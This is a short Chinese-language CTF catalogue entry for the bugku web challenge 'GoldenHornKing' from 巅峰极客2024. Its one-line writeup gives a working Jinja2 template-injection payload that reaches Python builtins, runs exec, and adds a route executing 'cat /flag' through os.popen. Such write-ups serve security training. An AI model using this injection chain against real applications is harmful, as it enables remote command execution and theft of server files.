| ID: | 2277 |
|---|---|
| 标题: | GoldenHornKing |
| 描述: | flag{} |
| 类型: | WEB |
| 网站: | bugku |
| 题目链接: | https://ctf.bugku.com/challenges/detail/id/2436.html |
| 赛事: | 巅峰极客2024 |
| 年度: | 2024 |
| Flag值: | 无 |
| writeup: |
验证后的网址 通过Jinja2模板注入执行config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read())')添加路由读取flag https://ctf.bugku.com/writeup/detail/id/1383.html |